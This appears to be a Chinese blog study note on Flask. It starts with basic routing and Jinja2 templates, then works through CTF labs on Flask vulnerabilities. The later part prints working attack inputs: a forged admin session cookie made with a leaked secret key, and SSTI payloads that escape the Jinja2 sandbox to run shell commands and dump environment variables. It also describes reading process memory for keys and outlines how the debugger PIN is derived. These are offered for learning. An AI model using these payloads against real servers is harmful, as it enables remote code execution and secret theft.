Python-Flask

初识Flask

思考:Flask是Python中的Web应用程序框架,以我的初步理解来看就是能生成web页面,这不得不让我联想到了PHP,同样都是可以生成Web,想必他们一定有很多差异值得探讨。

首先引起我注意的是框架这个字眼,我们暂且用打包这个说法来定义吧,这个框架相当于一个预先编写好的结构,对于Web应用程序它提供了相应的基本功能和组件,这里就有我们所熟知的处理HTTP请求、路由URL、渲染模板、管理用户会话等基本功能

所以,不难发现,这个flask框架跳过了那些繁琐的构建网页前所需的一些设置,协议,让用户通过这个框架,模板去套,更专注于开发、测试和维护网页。

Flask的内核:Werkzeug&Jinja2

Werkzeug:Werkzeug是一个WSGI(Web Server Gateway Interface)工具库,它提供了实现HTTP请求、响应处理、URL路由等功能的核心组件,为Flask提供了底层的HTTP请求处理能力。

Jinja2:Jinja2是一个现代化的模板引擎,它允许开发者使用类似Python的语法来创建动态内容的模板。Flask使用Jinja2来渲染Web应用程序中的HTML模板,从而让开发者能够动态地生成网页内容。

除了这两个核心组件外,Flask还有许多扩展,可以用于处理表单、数据库集成、身份验证等各种功能。

现在看到了表单、数据库等熟悉的字眼,从宏观上来看大体构建网站思路还是一样的

关于Flask和PHP

这是基于刚才的思考疑惑,大体上来讲,可能PHP性能上来说要优于Flask,但由于Python拥有大量的库可以支撑,其实这个差异就被弥补了;再者,PHP可以直接用于编写Web应用程序的后端逻辑,而Flask则提供了一种结构化的方式来组织Python代码。总而言之,两者在开发上没啥太大区别,不过多点思考也是好的

项目结构

1
2
3
4
--项目名
|---static (静态)
|---templates (模板)
|---app.py (运行|启动)

Flask启动项目默认为app.py

Flask程序

1
2
3
4
5
6
7
8
9
from flask import Flask
app = Flask(__name__)

@app.route('/')
def hello_world():
return 'Hello, World!'

if __name__ == '__main__':
app.run(debug=True)

我们来看这么一个基本代码,它会在web页面上输出Hello, World!我们来逐行解析一下语法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask:
flask是包名,Flask是模块名

app = Flask(__name__):
初始化程序,同时将应用程序实例储存在app变量中

@app.route('/'):
route是路由的意思,这里理解成路径,告诉Flask应用程序当用户访问根URL('/')时,应该调用下面定义的函数

if __name__ == '__main__':
检查当前模块是否是作为主程序执行的。如果是,接下来的代码块会被执行

app.run(debug=True):
启动了Flask应用程序的开发服务器, 默认使用本地地址和5000端口

app.run()

1
app.run(host,port,debug,load_dotenv)

host指定监听主机名;port指定监听端口;debug启用或禁用调试模式。设置为 True会启用调试模式,应用会在代码发生变化时自动重启;

(flask编写的程序和php不一样,每一次变动都需要重启服务器来执行变更,就显得很麻烦,为了应对这种问题,flask中的debug模式可以在不影响服务器运行下,执行更新每一次的变更。)

load_dotenv设置为 True 时,会加载项目根目录下的 .env文件中的环境变量。.env文件通常用来存储应用的配置信息

配置文件

image-20240407213912357

在app.py中,我们可以进行文件的相关配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
DEBUG:如果设置为 True,则启用调试模式。在此模式下,服务器将在代码更改时重新加载自身,并在出现未处理的异常时提供一个有用的调试器

TESTING:如果设置为 True,则标记应用程序处于测试模式

PROPAGATE_EXCEPTIONS:如果设置为 True,则告诉 Flask 即使未启用调试,也要传播异常

SECRET_KEY:用于保持客户端会话安全

PERMANENT_SESSION_LIFETIME:永久会话的生存期

USE_X_SENDFILE:如果设置为 True,Flask 将尝试使用 X-Sendfile 标头来触发服务器发送文件

SERVER_NAME:服务器的名称和端口号。如果未设置,将被猜测

APPLICATION_ROOT:如果应用程序安装在子 URL 上,可以在此处设置。

SESSION_COOKIE_NAME:会话 cookie 的名称。

SESSION_COOKIE_DOMAIN:如果要为会话 cookie 设置域,可以在此处执行

SESSION_COOKIE_PATH:会话 cookie 的路径

SESSION_COOKIE_HTTPONLY:如果设置为 True,会将会话 cookie 标记为仅限于 HTTP

SESSION_COOKIE_SECURE:如果设置为 True,则会将 cookie 标记为安全

SESSION_COOKIE_SAMESITE:用于将会话 cookie 标记为 SameSite

SESSION_REFRESH_EACH_REQUEST:如果设置为 True,则会在每个请求时刷新 cookie

MAX_CONTENT_LENGTH:传入请求的最大内容长度

SEND_FILE_MAX_AGE_DEFAULT:send_file 方法的默认缓存超时

TRAP_BAD_REQUEST_ERRORS:如果设置为 True,Flask 将不会忽略来自请求数据解析的异常

TRAP_HTTP_EXCEPTIONS:如果设置为 True,Flask 将会将某些异常转换为 HTTP 响应

EXPLAIN_TEMPLATE_LOADING:如果设置为 True,将启用模板加载的解释

PREFERRED_URL_SCHEME:如果没有 URL 方案可用,应使用的 URL 方案

TEMPLATES_AUTO_RELOAD:如果设置为 True,模板将在更改时自动重新加载

MAX_COOKIE_SIZE:会话 cookie 的最大大小(以字节为单位)

route()

route后有相应的路径我们可以自定义,同时我们可以为相应的路径些相应的函数有两种等价形式:

1
2
3
@app.route('/index')
def index():
return 'yoyoyo'
1
2
3
def user():
return 'who?'
app.add_url_rule('/user',view_func=user)//使用函数add_url_rule绑定

image-20240407215010007

image-20240407215018829

image-20240407215030211

路由的变量规则

顾名思义给url添加可以传入变量的地方,在route中的路径后面添加标记

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask
app = Flask(__name__)

@app.route('/')
def hello_world():
return 'Hello, World!'

@app.route('/user/<username>')
def user(username):
return 'username:{0}'.format(username)

if __name__ == '__main__':
app.run(debug=True)

image-20240407220203535

或者

1
2
3
4
data={'a':'打','b':'瓦','c':'吗'}
@app.route('/get/<value_name>')
def get(value_name):
return '操作:{0}'.format(data.get(value_name))

image-20240407220503899

image-20240407220512703

image-20240407220521622

Request请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, request
app = Flask(__name__)

@app.route('/')
def hello_world():
return 'Hello, World!'

@app.route('/admin',methods=['GET','POST'])
def index():
if request.method =='GET':
return '现在的请求是GET方法'
elif request.method =='POST':
return '现在的请求是POST方法'

if __name__ == '__main__':
app.run(debug=True)

我们要从flask包中拖取request模块,在route处设置请求方法methods

request.method ==’GET’验证是否位get请求

传参&重定向&模板渲染

GET:

1
requests.args.get('age',default=1,type=int)	\\接收传入的参数age,默认值为1,类型为int(后面这些可以省略)

POST:

1
requests.form['name']

我们举一个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask, render_template, request, redirect, url_for

app = Flask(__name__)

@app.route('/aaa', methods=['GET'])
def aaa():
user = request.args.get('user')
age = request.args.get('age')
return redirect(url_for('index', user=user, age=age))

@app.route('/index')
def index():
user = request.args.get('user')
age = request.args.get('age')
return render_template('index.html', user=user, age=age)

if __name__ == '__main__':
app.run()

aaa.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>输入</title>
</head>
<body>
<form action="/aaa" method="get">
<input type="hidden" name="from_page" value="input_page">
<p><input type="text" name="user" placeholder="请输入用户名"></p>
<p><input type='text' name='age' placeholder='请输入年龄'></p>
<p><input type="submit" name="submit" value="提交"></p>
</form>
</body>
</html>

index.html

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>index</title>
</head>
<body>
<h1>Hello,{{user}}</h1>
<h2>年龄:{{age}}</h2>
</body>
</html>

注意:项目下面要有有templates文件夹,并将html文件放进里面;templates文件夹与运行的py文件在同一级目录;

image-20240407231459056

这里有几个点我们得注意:

redirect在这里作为重定向到index.html并传递了user,age等get参数

render_template渲染外部文件,render_template默认去templates文件夹中寻找文件扩展名为.html、.htm、.xml和.xhtml 的模板中开启自动转义

:双大括号 `` 在 Flask 中用于表示模板中的变量 单参数时:
1
2
3
4
@app.route('/')
def index():
user='admin'
return render_template('index.html',user=user)

有多个参数,可以使用**contents传过去:

1
2
3
4
@app.route('/')
def index():
contents={'user':'admin','age':'19','provinces':'北京'}
return render_template('index.html',**contents)

render_template_string

1
2
3
@app.route('/')
def index():
return render_template_string('<html><h1>测试</h1></html>')

用于渲染字符串,这个可以用于没有外部文件的情况(render_template),直接在同文件下,定义好html代码,然后直接就可以渲染

模板语法

显示变量的值

使用双大括号 {{ 变量名 }} 来显示变量的值

1
<p>Hello, {{ name }}!</p>

控制结构

1
2
3
4
5
6
7
8
9
10
11
12
13
{% if user %}
<p>Hello, {{ user }}!</p>
{% else %}
<p>Hello, guest!</p>
{% endif %}

<ul>//无序列表
{% for list in lists %}
姓名:{{list.name}}
年龄:{{list.age}}
{% endfor %}//结束循环
</ul>
注意:不可以使用continue和break表达式来控制循环的执行

模板继承

主模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
<title>{% block title %}My Website{% endblock %}</title>
</head>
<body>
<header>
{% block header %}
<h1>Welcome to My Website</h1>
{% endblock %}
</header>

<main>
{% block content %}
<p>This is the main content of the page.</p>
{% endblock %}
</main>
</body>
</html>

子模版:

1
2
3
4
5
6
7
{% extends 'base.html' %}

{% block title %}About Us{% endblock %}

{% block content %}
<p>About Us Page Content</p>
{% endblock %}

在子模板中,通过{ % extends ‘base.html’ % }指定继承的主模板,然后使用{ % block % }语法重写主模板中相应的块。

包含模板

使用 { % include % }来包含其他模板

1
{% include "head.html" %}

过滤器

过滤器相当于是一个函数,把当前变量传入到过滤器中,然后过滤器根据自己的功能,再返回相应的值,之后再将结果渲染到页面中

过滤器名称 说明
length 返回长度
safe 禁用转义,默认一些符号会被转义成html编码,禁用后则不转义
capitialize 把值的首字母转换成大写,其他子母转换为小写
lower 把值转换成小写形式
upper 把值转换成大写形式
title 把值中每个单词的首字母都转换成大写
reverse 将值反转
format 格式化,例:{ {‘%s is %d’ \ format(‘abc’,11)} }
truncate 字符串截断,例:{ {‘hello word’ \ truncate(5)} }
trim 把值的首尾空格去掉
striptags 渲染之前把值中所有的HTML标签都删掉
join 拼接多个值为字符串
replace 替换字符串的值
round 默认对数字进行四舍五入,也可以用参数进行控制
int 把值转换成整型
sum 求和,列表求和,要求参数为整型
sort 排序,列表排序,要求参数为整型

单个过滤器

1
2
{{ 变量名|过滤器 }}
{{ name|length }};

带参数的过滤器

1
2
3
{{ 变量名|过滤器(*args) }}
{{ '%s is %d' | format('abc', 11) }}
输出:abc is 11

多个过滤器

1
2
{{ 变量名|过滤器|过滤器 }}
首先应用第一个过滤器,然后将结果传递给下一个过滤器

关于Flask的漏洞

Flask Session伪造

Session(会话),我记得在学习php时也用到过,相当于用户登陆后,需要有一个标识来记住用户,这个类似于标识的东西就储存在session里面,实则是一个分辨不同用户的东西

对于Flask的Session使用base64编码形式进行储存,我们可以在登陆后的客户端看到自己的session;在生成Session时,Flask中的app.config[‘SECRET_KEY’]中的值会对Session进行处理,以至于我们只能读看但不能修改,但当key泄露后我们就可以更改内容,比如把用户改为admin以达到越权操作

综上所述,这个key值成为了关键

image-20240408193427424

当源码泄露后我们可以在config.py中找到

当存在任意文件读取漏洞时,我们可以通过读取/proc/self/maps来获取堆栈分布(获取当前进程的内存映射信息,以便了解程序的堆栈布局和内存地址分布。通过了解内存映射的情况,攻击者可以更好地定位和识别会话密)在内存中的位置,咋觉得有点像pwn啊),而后读取/proc/self/mem(获取进程的内存镜像),通过正则匹配筛选出我们需要的key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/etc/passwd
该文件储存了该Linux系统中所有用户的一些基本信息,只有root权限才可以修改。其具体格式为 用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell(以冒号作为分隔符)

/proc/self
proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据。通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据。

/proc/self/cmdline
该文件包含的内容为当前进程执行的命令行参数。

/proc/self/mem
/proc/self/mem是当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。

/proc/self/maps
/proc/self/maps包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址。

[HCTF 2018]admin

让我们用一道题目来看看

image-20240408200348790

这道题我上一次做是用Unicode欺骗方法来做的,这一次我们用session伪造试一下,现在我已经注册了一个账号

image-20240408200742295

源代码中我们看到提示,说明存在管理员账户,在更改密码中我们又看到

image-20240408201346829

这里我们找到源码

1
2
3
4
5
6
import os

class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True

现在我们有了key我们可以通过登录成功的session去解密得到明文,然后把用户名改为admin再进行加密得到admin的session值

image-20240408202255641

image-20240408203316314

1
{'_fresh': True, '_id': b'7f0d7fec719ae3c7986b5d1228300f62f4acca4b8f48ab85c18a6a32ae440eb46064667fd4bff17bb73d3704f2ff652f3e3e6625dce2dc44ed9c7ae30a884d98', 'csrf_token': b'84d24a1b22750c5878458d1c83286732ef28b7d5', 'image': b'1oPg', 'name': 'quar', 'user_id': '10'}

将name改为admin

image-20240408203430367

1
.eJw9kMGKwjAQQH9lydlDm-1lBS9LarAwUyqtZXIRt61NE-NCVbqN-O-bdcHrPObxZu5sfxy7i2bL63jrFmw_tGx5Z29fbMmQ06RE61QN71CetCrRoLcJuk2sRDqD6T2IT4cmcyjXhngakdEOhdZk-ph8mlCpNPgs7BYRyN2AgiY0BUcTvGI7KEc_yLMBPVrwzYSS5jDjWGYOeOVVSRzMzhKvZiUhQrmzeeihuvIg0yQXW5uX_Yo9Fqy5jMf99dt259cJfxjMVkO9CblNDBLiXDQJiipRYm1yAXMu6D0knpTZJGRai8XqqRvcoe9eJqg_CjX9k_PBBcAOrRvObMFul258_o3FEXv8Aqi4bO0.ZhPkTg.iYnRspRb9-xhO7RWeLXeaKuTA-s

image-20240408203506055

Flask SSTI服务器端模板注入漏洞

我们在初识Flask中讲到很多基于Jinja2模板引擎中的模板语法,其中的变量是由用户控制的,但如果未正确过滤或处理用户提供的模板数据,允许攻击者通过在模板中注入恶意代码来执行任意代码,则可能导致敏感信息泄露、服务器端代码执行、甚至完全接管服务器

对于模板,开发者的目的肯定是让用户更好的传递数据,当然,如果现在不是这个目的,那么服务器端模板注入漏洞就会出现

确定是否存在模板注入

我们来看两个例子:

1
2
3
4
5
6
7
8
9
10
@app.route('/',methods = ['GET'])
def index():
str = request.args.get('v')
html_str = '''
<html>
<head></head>
<body>{{str}}</body>
</html>
'''
return render_template_string(html_str,str=str)
1
2
3
4
5
6
7
8
9
10
@app.route('/',methods = ['GET'])
def index():
str = request.args.get('v')
html_str = '''
<html>
<head></head>
<body>{0}</body>
</html>
'''.format(str)
return render_template_string(html_str)

第一个代码会被先渲染然后在return时模板引擎会将{{str}}替换为str变量的值,第二个代码直接将用户传入的参数值放入html_str中,然后经过模板渲染,直接输出显然这会造成恶意命令输入

image-20240408212738405

造成信息泄露

所以我们在检测是否存在SSTI时可以用数学运算来测验一下image-20240408213626676

这是第一个代码下的web网页,此时整体被当作一个数据,而第二个代码则会算出结果

确定模板引擎

各个模板引擎的语法是会有差异的,这些语法是专门为不与HTML字符冲突而选择的。有时无效的语法会返回错误信息,其中包含引擎类型或者版本(若遇到返回,搜索一下即可判断)

当然除此之外,我们以及可以注入数学运算来确定

Twig、Jinja2

1
{{ var1 + var2 }}

Mako

1
${ var1 + var2 }

Python沙盒逃逸(魔术方法)

在Jinja2中可以访问到Python的内置变量并且可以调用对应变量类型

Python的特性:

1
2
3
4
5
6
7
8
9
10
11
12
13
__class__ # 查找当前类型的所属对象
__mro__ # 查找当前类对象的所有继承类
__subclasses__ # 查找父类下的所有子类
__globals__ # 函数会议字典的形式返回当前对象的全部全局变量
__init__ # 查看类是否重载,重载是指程序在运行是就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__base__ # 沿着父子类的关系往上走一个

_builtin_ 内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。查看的方法是dir(__builtins__)

ps:在py3中__builtin__被换成了builtin
__builtin__ 和 __builtins__之间是什么关系呢?
在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此。
非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

基本的思路就是通过找到合适的魔术方法,一步步去执行,从而得到我们想要的结果(确实挺沙盒的)

这里提到了父类和子类,在Python中,可以使用类和继承来构建父类和子类的关系。父类是指在继承关系中被继承的类,而子类则是指继承父类的类。一个子类可以继承其父类的属性和方法,并且可以扩展或修改这些属性和方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Animal:
def __init__(self, name):
self.name = name

def make_sound(self):
pass

class Dog(Animal):
def make_sound(self):
return "Woof!"

dog = Dog("Buddy")
print(dog.name) # 输出:Buddy
print(dog.make_sound()) # 输出:Woof!

一眼丁真,这个例子非常清晰

我们来看看基本输入语法

1
2
3
4
''.__class__
#''表示一个空字符串,''.__class__将返回空字符串对象的类,即<class 'str'>,表示字符串类

[].__class__ 返回的是空列表对象的类,即 <class 'list'>,表示列表类
1
''.__class__.__mro__

image-20240408233020140

寻找基类

image-20240408233126369

两者都可以

注:object是父子关系的顶端,所有的数据类型最终的父类都是object

常用payload及绕过

SSTI入门详解-CSDN博客

1
2
{{''.__class__.__base__.__subclasses__()}}
获取基本类的所有子类
1
2
[].__class__.__base__.__subclasses__()[40]('fl4g').read()
读取文件类,<type ‘file’> file位置一般为40,直接调用(python2)

更多的我认为应根据题目来理解,这里我没完全搞明白就不写下去了,贴了链接来辅助理解

所以来道小题消化一下

[Flask]SSTI

从源码中我看到变量是name,我们以此来构建payload

按照步骤,还是一样我们先用数学计算来检测是否存在注入

image-20240409001931474

很好

image-20240409002745117

通过class找到当前类

image-20240409002824857

找到基类

image-20240409002101480

源代码中我们找到很多子类

这里我们无法直接读取文件,因为不知道目标目录,所以我们要通过system函数去ls,这里就要通过调用os模块(在Python中,os模块是用于与操作系统进行交互的模块)以达到system的效果

此时我们用到子类80

1
%27%27.__class__.__base__.__subclasses__()[80]

返回:

在Python中,命名空间路径(NamespacePath)是一种机制,用于管理模块的导入和查找。它帮助Python解释器定位并加载模块,从而使程序能够使用模块中定义的函数、类和变量

1
''.__class__.__base__.__subclasses__()[80].__init__.__globals__ => __globals__

globals是函数中的一个内置属性,以字典的形式返回当前空间的全局变量,而其中就能找到我们需要的目标模块”builtins

image-20240409011637885

然而,并不是每个类的init都拥有globals属性,所以我们寻找的合适的类实际上就是init中拥有globals属性的类,可以通过脚本去遍历

image-20240409005841270

看来也并非一定是子类80,我们只是要的模块”builtins“来执行命令,至于是哪个子类就无所谓了

1
builtins个模块中有很多我们常用的内置函数和类,其中就有eval函数

image-20240409012144463

1
''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")

__import__: 加载 os 模块。
popen(): 执行一个 shell 以运行命令来开启一个进程,最后加个 read() 函数读取回显内容

image-20240409012644666

然而这里并没有flag,看了wp发现是再环境变量里,这我怎么都想不到

1
{{%27%27.__class__.__base__.__subclasses__()[80].__init__.__globals__[%27__builtins__%27].eval("__import__(%27os%27).popen(%27env%27).read()")}}

image-20240409013224203

总结:这个SSTI够喝两壶的了。。。。。。

Flask PIN

Flask PIN码是一种安全措施,用于防止未授权访问Flask应用的调试器。当Flask应用以调试模式(Debug)运行时,PIN码可以作为一种保护机制,确保只有知道PIN码的用户才能访问交互式调试器。这是通过Werkzeug库实现的,Werkzeug是Flask的一个依赖项。

PIN码的生成依赖于多个因素,包括但不限于当前运行应用的用户名称(username)、应用的模块名(modname)、应用的名称(appname)、应用模块的文件路径(moddir)、当前网络接口的MAC地址的十进制数、UUID节点和机器ID。这些值通过特定的算法组合并进行哈希处理,生成一个9位的PIN码。

值得注意的是,PIN码并不是完全随机生成的,当同一程序重复运行时,生成的PIN码是相同的。但是,PIN码的生成算法可能会随着Werkzeug和Flask的不同版本而有所变化。例如,在Python 3.6版本中可能使用MD5加密算法,而在Python 3.8版本中可能使用SHA1加密算法。

尽管PIN码提供了一定的安全层,但在生产环境中仍然不建议使用调试模式,因为错误的堆栈跟踪可能会暴露敏感信息。此外,如果攻击者能够访问到应用的调试器,他们可能尝试猜测或暴力破解PIN码。因此,开发人员应确保在生产环境中关闭调试模式,或者使用其他更安全的调试工具。

获取Flask PIN码的脚本底层逻辑基于对Flask和Werkzeug内部PIN码生成机制的理解。这个机制涉及到多个系统和应用级别的信息,这些信息被用来生成一个特定的哈希值,即PIN码。以下是获取PIN码的底层逻辑的关键步骤:

  1. 收集关键信息:脚本首先需要收集一系列关键信息,这些信息包括:

    • 当前运行应用的用户名(通常通过getpass.getuser()或读取/etc/passwd文件获得)。
    • 应用的模块名(默认为flask.app)。
    • 应用的名称(默认为Flask)。
    • Flask应用模块文件的路径(例如/usr/local/lib/pythonX.X/site-packages/flask/app.py)。
    • 网络接口的MAC地址(通过读取/sys/class/net/ethX/address获得)。
    • 系统的唯一标识符,即机器ID(可以通过多种方式获取,如/etc/machine-id/proc/sys/kernel/random/boot_id等)。
  2. 哈希处理:收集到的信息被用作输入,通过特定的哈希算法(如MD5或SHA1)进行处理。这些信息被编码为字节串(如果它们是字符串),然后更新到哈希对象中。

  3. 生成PIN码:哈希值用于生成PIN码。通常,哈希值的最后几位会被截取并格式化为9位数字(如果需要的话)。这个数字就是PIN码。

  4. 考虑环境因素:在不同的环境下,如Docker容器,可能会有不同的机器ID获取方式。脚本需要根据当前环境调整获取机器ID的逻辑。

  5. 版本兼容性:由于PIN码生成算法可能随着Werkzeug和Flask版本的不同而变化,脚本可能需要根据目标应用使用的版本来调整算法。

  6. 输出PIN码:最终,脚本输出计算得到的PIN码,供用户在Flask调试器中使用。